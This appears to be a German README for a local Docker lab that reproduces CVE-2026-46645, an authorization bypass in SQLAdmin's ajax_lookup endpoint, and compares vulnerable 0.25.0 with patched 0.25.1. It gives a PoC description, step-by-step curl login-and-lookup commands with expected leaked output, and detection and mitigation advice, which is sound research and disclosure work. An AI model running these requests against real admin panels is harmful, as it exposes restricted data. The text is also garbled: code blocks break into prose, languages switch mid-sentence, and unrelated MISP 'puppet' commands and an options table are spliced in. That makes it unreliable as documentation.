CVE-2026-46645 – SQLAdmin ajax_lookup Berechtigungsumgehung

Zusammenfassung

Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion von CVE-2026-46645, einer Berechtigungsumgehung-Schwachstelle, die den ajax_lookup-Endpunkt von SQLAdmin betrifft.

SQLAdmin ist eine Administrationsoberfläche für SQLAlchemy-Modelle in Starlette- und FastAPI-Anwendungen. Das anfällige Verhalten tritt auf, wenn eine Anwendung einen ModelView mit is_accessible(request) einschränkt, aber die ajax_lookup-Route von SQLAdmin dieselbe Zugriffskontrollentscheidung nicht durchsetzt, bevor sie Lookup-Ergebnisse zurückgibt.

Dieses Labor vergleicht zwei SQLAdmin-Versionen:

Dienst	SQLAdmin-Version	Zweck	URL
`vuln`	`0.25.0`	Angreifbares Ziel	`http://127.0.0.1:8001`
`patched`	`0.25.1`	Vergleichsziel (gepatcht)	`http://127.0.0.1:8002`

Die demonstrierte Schwachstellenkette ist:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403

Das Labor verwendet absichtlich ein einfaches `Report` / `SecretProject` Datenmodell, um die Umgehung der Autorisierung leicht verständlich zu machen. Diese Modellnamen sind nicht die Ursache der Schwachstelle. Sie dienen lediglich dazu, eine kontrollierte Reproduktionsbedingung zu schaffen.

Dieses Labor ist ausschließlich für kontrollierte lokale Forschung, Quellcode-Verständnis und Portfolio-Demonstration konzipiert.

## Bestätigte Fakten

| Behauptung                                                             | Beweis                                                                                                           | Wie im Labor zu überprüfen                                                                 |
| ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- |
| Der `ajax_lookup`-Endpunkt von SQLAdmin ist die betroffene Komponente. | Der öffentliche Hinweis beschreibt das betroffene Endpunktformat als `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Führen Sie den PoC aus und beobachten Sie die Anfragen an `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` wird als verwundbares Vergleichsziel verwendet.      | Das Labor installiert `sqladmin==0.25.0` im `vuln`-Container.                                                     | Führen Sie `docker compose exec -T vuln python -m pip show sqladmin` aus.                |
| SQLAdmin `0.25.1` wird als gepatchtes Vergleichsziel verwendet.        | Der öffentliche Hinweis und die Versionshinweise identifizieren `0.25.1` als die behobene Version.                | Führen Sie `docker compose exec -T patched python -m pip show sqladmin` aus.             |
| Die Ursache liegt in der upstream `Admin.ajax_lookup()`-Route von SQLAdmin. | Der Patch fügt fehlende Authentifizierung und Durchsetzung von `is_accessible(request)` zu `ajax_lookup()` hinzu. | Untersuchen Sie `Admin.ajax_lookup()` in beiden Containern mit den Befehlen in dieser README. |
| Das Labor erstellt eine eingeschränkte `ModelView`.                    | `ReportAdmin.is_accessible(request)` gibt absichtlich `False` zurück.                                             | Untersuchen Sie `app/main.py`.                                                           |
| Der PoC verwendet eine authentifizierte Sitzung.                       | Der PoC meldet sich zuerst bei `/admin/login` an, behält das Sitzungscookie und fordert dann `ajax_lookup` an.    | Führen Sie `python3 poc/poc.py --base-url http://127.0.0.1:8001` aus.                    |
| Das verwundbare Signal ist die Datenoffenlegung.                       | SQLAdmin `0.25.0` gibt HTTP 200 und JSON-Suchergebnisse aus einer eingeschränkten Ansicht zurück.                  | Das verwundbare Ziel sollte `Secret Project Alpha` und `Secret Project Beta` zurückgeben. |
| Das gepatchte Signal ist die Zugriffsverweigerung.                     | SQLAdmin `0.25.1` gibt HTTP 403 für die gleiche authentifizierte Anfrage zurück.                                   | Das gepatchte Ziel sollte `403 Forbidden` zurückgeben.                                   |

## Annahmen und Unbekanntes

Dieses Labor verwendet `sqladmin==0.25.0` als verwundbare Basis und `sqladmin==0.25.1` als gepatchte Basis.

Das Labor konzentriert sich auf die Bedingung zur Umgehung der Autorisierung, bei der:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

Das Labor versucht nicht, jedes mögliche SQLAdmin-Bereitstellungsmuster zu reproduzieren. Es erstellt absichtlich eine kleine Starlette-Anwendung mit einer eingeschränkten Admin-Ansicht, damit der Verhaltensunterschied zwischen anfälligen und gepatchten Versionen leicht zu überprüfen ist.

Die Modelle Report und SecretProject sind Labor-exklusive Objekte. Sie sind nicht Teil von SQLAdmin selbst.

Der PoC versucht keine Privilegienausweitung, Datenänderung, Sitzungsdiebstahl, externe Rückrufe, Persistenz oder Angriffe auf Nicht-Laborsysteme.

Zusammenfassung der Grundursache

Die Grundursache liegt in SQLAdmins vorgelagerter Admin.ajax_lookup()-Route, nicht im Anwendungscode dieses Labors.

SQLAdmin ermöglicht Entwicklern, den Zugriff auf Admin-Ansichten durch Überschreiben einzuschränken:```python ModelView.is_accessible(request)

Andere Admin-Routen müssen diese Zugriffskontrollentscheidung erzwingen, bevor die Anfrage fortgesetzt werden kann. Beispielsweise überprüfen Routen wie list, create, details, delete, edit und export, ob die aktuelle Anfrage auf die Ziel-`ModelView` zugreifen darf. Die anfällige `ajax_lookup`-Route erzwingt nicht dieselbe Zugriffskontrollentscheidung. Der `ajax_lookup`-Endpunkt wird von der `form_ajax_refs`-Funktion von SQLAdmin verwendet, um Beziehungswerte dynamisch zu laden. Das Endpunktformat lautet:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

In der verletzlichen Version löst ajax_lookup() das Ziel-ModelView auf, liest den Lookup-Feldnamen und den Suchbegriff aus der Abfragezeichenfolge, ruft dann den AJAX-Loader auf und gibt JSON-Ergebnisse zurück. Der fehlende Sicherheitsschritt besteht darin, dass nicht zuerst überprüft wird, ob die aktuelle Anfrage auf dieses ModelView zugreifen darf.

Die Sicherheitsauswirkung ist, dass ein authentifizierter Benutzer daran gehindert werden kann, über normale UI-Routen auf eine eingeschränkte Admin-Ansicht zuzugreifen, aber dennoch direkt den AJAX-Lookup-Endpunkt für diese Ansicht anfordern und Beziehungs-Lookup-Daten erhalten kann.

SQLAdmin 0.25.1 behebt dies, indem es die Zugriffskontrolle innerhalb von ajax_lookup() erzwingt. Die gepatchte Route prüft model_view.is_accessible(request) und gibt HTTP 403 zurück, wenn die Zielansicht nicht zugänglich ist.

Dieses Labor definiert ReportAdmin.is_accessible(request), um nur zur Reproduktion der verletzlichen Bedingung False zurückzugeben. Der Laborcode ist nicht die Ursache. Es ist ein kontrolliertes Test-Setup, das beweist, ob die übergeordnete ajax_lookup()-Route von SQLAdmin die Zugriffsentscheidung respektiert.

Erwartetes Verhalten Unterschied:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden

## Zusammenfassung des Quell-Patches

Der bedeutende Upstream-Patch ist die Hinzufügung von Authentifizierungs- und Autorisierungsdurchsetzung zu `Admin.ajax_lookup()`.

Das gepatchte Verhalten entspricht:```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

Der entscheidende Autorisierungscheck ist:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

Das Labor zeigt, dass diese Prüfung in der verwundbaren Version fehlt und in der gepatchten Version vorhanden ist.

## Labor-Architektur```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

Die beiden Dienste führen denselben Anwendungscode aus, installieren jedoch unterschiedliche SQLAdmin-Versionen:

Dienst	Paketversion	Portzuordnung
`vuln`	`sqladmin==0.25.0`	`127.0.0.1:8001 -> 8000`
`patched`	`sqladmin==0.25.1`

Die Anwendung erstellt zwei SQLAlchemy-Modelle:```text SecretProject Report

`Report` hat eine Beziehung zu `SecretProject`:```text
Report.project -> SecretProject

ReportAdmin definiert eine AJAX-Beziehungssuche:```python form_ajax_refs = { "project": { "fields": ("name",), "order_by": "name", "limit": 10, } }

Die eingeschränkte Admin-Ansicht ist:```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

Dies erzeugt absichtlich die Bedingung, die benötigt wird, um zu testen, ob SQLAdmins ajax_lookup()-Route is_accessible() durchsetzt.

Der anfällige Endpunkt, der vom PoC verwendet wird, lautet:```text /admin/report/ajax/lookup?name=project&term=Secret

Standard-Labor-Anmeldedaten:```text
username: analyst
password: lab-password

Anforderungen

Docker Desktop oder Docker Engine
Docker Compose v2
Python 3
Python requests-Paket zum Ausführen des PoC vom Host aus
curl für manuelle HTTP-Wiedergabe
Internetzugriff während des Image-Builds, um Python-Pakete von PyPI zu installieren

Installieren Sie die PoC-Abhängigkeit auf dem Host, falls erforderlich:```bash python3 -m pip install requests

## Schnellstart

Erstelle und starte das Labor:```bash
docker compose down --remove-orphans
docker compose up --build -d

Containerstatus überprüfen:```bash docker compose ps

Erwartete exponierte Dienste:```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

Überprüfen Sie die Health-Endpunkte:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health

Beide sollten zurückgeben:```json
{"status":"ok"}

Öffnen Sie die Admin-Oberfläche in einem Browser, falls gewünscht:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin

Anmeldeinformationen:```text
analyst / lab-password

PoC Verwendung

Führen Sie den PoC gegen den verwundbaren Dienst aus:```bash python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"

Führen Sie denselben PoC gegen den gepatchten Dienst aus:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

Das PoC führt diese Schritte aus:```text

Send POST /admin/login with the lab credentials.
Keep the returned session cookie.
Send GET /admin/report/ajax/lookup?name=project&term=Secret.
Print the HTTP status, content type, response body, and interpretation.

Der PoC gibt absichtlich den Request- und Response-Flow aus, sodass der Autorisierungs-Bypass für den Leser sichtbar ist.

## Manuelle HTTP-Reproduktion mit curl

Sie können die Schwachstelle manuell reproduzieren, ohne `poc/poc.py` zu verwenden.

Dies ist nützlich, wenn Sie den genauen HTTP-Flow zeigen möchten:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

Verwundbares Ziel

Legen Sie die URL des verwundbaren Ziels fest:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"

Melden Sie sich als Laborbenutzer an und speichern Sie das Session-Cookie:```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

Senden Sie die eingeschränkte ajax_lookup-Anfrage:```bash curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Erwartetes verwundbares Ergebnis:```http
HTTP/1.1 200 OK
content-type: application/json

Erwarteter Inhalt:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

This confirms the vulnerable behavior because the request is authenticated, `ReportAdmin.is_accessible(request)` returns `False`, but SQLAdmin `0.25.0` still returns Lookup-Daten.

### Gepatchtes Ziel

Legen Sie die URL des gepatchten Ziels fest:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

Melden Sie sich als derselbe Lab-Benutzer an:```bash curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"

Senden Sie dieselbe eingeschränkte `ajax_lookup`-Anfrage:```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Erwartetes gepatchtes Ergebnis:```http HTTP/1.1 403 Forbidden

Dies bestätigt das gepatchte Verhalten, da SQLAdmin `0.25.1` die fehlende Prüfung `ModelView.is_accessible(request)` innerhalb von `ajax_lookup()` erzwingt.

### One-line Comparison

Verwundbarer Dienst:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

Gepatchter Dienst:```bash curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"

Erwarteter Vergleich:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

Erwartete Ausgabe

Verwundbares Ziel:```text

Target: sqladmin 0.25.0 vulnerable

Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'

Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=

Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}

================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView

Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:

The user is authenticated.
ReportAdmin.is_accessible(request) returns False.
A restricted admin ModelView should not expose lookup data.

Response: HTTP status : 200 Content-Type : application/json

Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

================================================================================ Step 3 - Interpretation

[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.

Gepatchtes Ziel:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

Wie der PoC funktioniert

Der PoC verwendet die Python requests-Bibliothek und ein persistentes requests.Session()-Objekt.

Zuerst authentifiziert er sich bei SQLAdmin:```text POST /admin/login

mit den Lab-Anmeldeinformationen:```text
analyst / lab-password

Nach dem Login behält das Session-Objekt das zurückgegebene Session-Cookie. Dann sendet der PoC die eingeschränkte AJAX-Lookup-Anfrage:```text GET /admin/report/ajax/lookup?name=project&term=Secret

In der Laboranwendung zielt diese Anforderung auf `ReportAdmin` ab.

`ReportAdmin` ist absichtlich unzugänglich:```python
def is_accessible(self, request):
    return False

Dies ist die Laborbedingung. Es handelt sich nicht um die vorgelagerte Schwachstelle. Die getestete Sicherheitsfrage lautet:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?

Bei SQLAdmin `0.25.0` gibt der Endpunkt HTTP 200 und JSON-Suchergebnisse zurück. Dies bestätigt das anfällige Verhalten.

Bei SQLAdmin `0.25.1` gibt der Endpunkt HTTP 403 zurück. Dies bestätigt das gepatchte Verhalten.

## Nützliche Überprüfungsbefehle

Laufende Container überprüfen:```bash
docker compose ps

Service-Logs überprüfen:```bash docker compose logs vuln patched

Überprüfen Sie die installierten SQLAdmin-Versionen:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

Erwartete Versionen:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1

Führe den PoC erneut aus:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"

Sie führen pupppet in einer virtuellen Python-Umgebung aus und möchten eine externe Konfigurationsdatei verwenden

`sudo -u www-data /var/www/MISP/venv/bin/python /var/www/MISP/app/files/scripts/puppet/puppet.py -c /var/www/MISP/app/files/scripts/puppet/config.py > /dev/null````bash python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"

Beweisausgabe speichern:```bash
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt

Überprüfen Sie die installierte anfällige Quelle:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application

print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY

Überprüfen Sie die installierte gepatchte Quelle:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

Die anfällige Version sollte model_view.is_accessible(request) innerhalb von ajax_lookup() nicht erzwingen.

Die gepatchte Version sollte eine Autorisierungsprüfung enthalten, die äquivalent ist zu:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

## Erkennung und Überwachung

In einer realen Anwendung, die SQLAdmin verwendet, können verdächtige Aktivitäten als direkte Anfragen an AJAX-Lookup-Endpunkte erscheinen:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

Für dieses Labor sind nützliche Log-Indikatoren:```text GET /admin/report/ajax/lookup?name=project&term=Secret

Erwartetes anfälliges Log-Muster:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK

Erwartetes gepatchtes Log-Muster:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

Mögliche Überwachungsideen für die Produktion:

* Überprüfen des direkten Zugriffs auf `/ajax/lookup`-Endpunkte,
* Vergleichen des Lookup-Zugriffs mit erwarteten Admin-UI-Workflows,
* Überwachen wiederholter Lookup-Begriffe von Konten mit niedrigen Berechtigungen,
* Überprüfen, ob sensible `ModelView`-Klassen `form_ajax_refs` verwenden,
* Überprüfen, ob eingeschränkte Modellansichten weiterhin durch Beziehungs-Lookups offengelegt werden.

## Schadensbegrenzung und Patch-Hinweise

Aktualisieren Sie SQLAdmin auf `0.25.1` oder höher.

Der Patch fügt die fehlende Zugriffskontroll-Durchsetzung zur `ajax_lookup`-Route hinzu. Der gepatchte Endpunkt überprüft, ob die aktuelle Anfrage auf die Ziel-`ModelView` zugreifen darf. Wenn `is_accessible(request)` `False` zurückgibt, wird die Anfrage mit HTTP 403 blockiert.

Empfehlungen zur Härtung auf Anwendungsebene:

* Aktualisieren von SQLAdmin auf eine gepatchte Version,
* Überprüfen aller benutzerdefinierten `ModelView.is_accessible()`-Implementierungen,
* Vermeiden der Offenlegung sensibler Beziehungs-Lookups über `form_ajax_refs`, es sei denn, erforderlich,
* Testen eingeschränkter Admin-Ansichten sowohl über normale UI-Routen als auch über AJAX-Lookup-Routen,
* Überwachen des Zugriffs auf `/admin/*/ajax/lookup`-Endpunkte,
* Sicherstellen, dass Admin-Authentifizierung und Sitzungsverwaltung korrekt konfiguriert sind.

## Bereinigung

Container und Netzwerke stoppen und entfernen:```bash
docker compose down --remove-orphans

Container, Netzwerke und anonyme Volumes entfernen:```bash docker compose down -v --remove-orphans

Entfernen Sie lokal erstellte Bilder, falls gewünscht:```bash
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true

Beweisdateien entfernen, falls gewünscht:```bash rm -rf evidence/

## Sicherheitsgrenzen

Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Demonstration.

Führen Sie den PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben.

Verwenden Sie in diesem Labor keine echten Anmeldedaten, Produktionsgeheimnisse oder externe Ziele.

Der PoC ist absichtlich auf lokale Docker-Dienste wie folgt beschränkt:```text
http://127.0.0.1:8001
http://127.0.0.1:8002

Der PoC enthält keine Payloads für Diebstahl von Anmeldeinformationen, Datenänderung, Persistenz, laterale Bewegung oder externe Rückrufe.

Das Ziel ist es, eine spezifische Autorisierungsumgehungsbedingung in einer kontrollierten Umgebung zu demonstrieren:```text authenticated user

restricted ModelView
ajax_lookup request
vulnerable version returns data
patched version returns 403

- GitHub Advisory Database: SQLAdmin Autorisierungsumgehung bei ajax_lookup  
  https://github.com/advisories/GHSA-54mc-gghv-4cfj

- OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645  
  https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

- SQLAdmin Release 0.25.1  
  https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

- SQLAdmin Vergleich: 0.25.0 zu 0.25.1  
  https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

- SQLAdmin 0.25.0 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

- SQLAdmin 0.25.1 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

- SQLAdmin Authentifizierungstests  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

- SQLAdmin AJAX Tests  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

- PyPI: sqladmin  
  https://pypi.org/project/sqladmin/

- SQLAdmin GitHub-Repository  
  https://github.com/smithyhq/sqladmin

MISP	Die MISP-URL	[String]	`https://<MISP URL>`
-c	Der Name der Konfigurationsdatei	[String]	`config.py`
-l	Name der Logdatei	[String]	`misp.log`
-pid	Name der PID-Datei	[String]	`watcher.pid`
-v	Ausführliche Ausgabe	[Bool]	`True`
-d	Debug-Modus aktivieren	[Bool]	`True`
-s	E-Mail bei Elementerstellung senden	[Bool]	`True`
-t	Kommagetrennte Liste von Tags	[String]	`tag1,tag2`
-e	Kommagetrennte Liste von Ereignis-IDs	[Integer]	`2324,2342`

CVE-2026-46645-Analysis-Lab

Beliebteste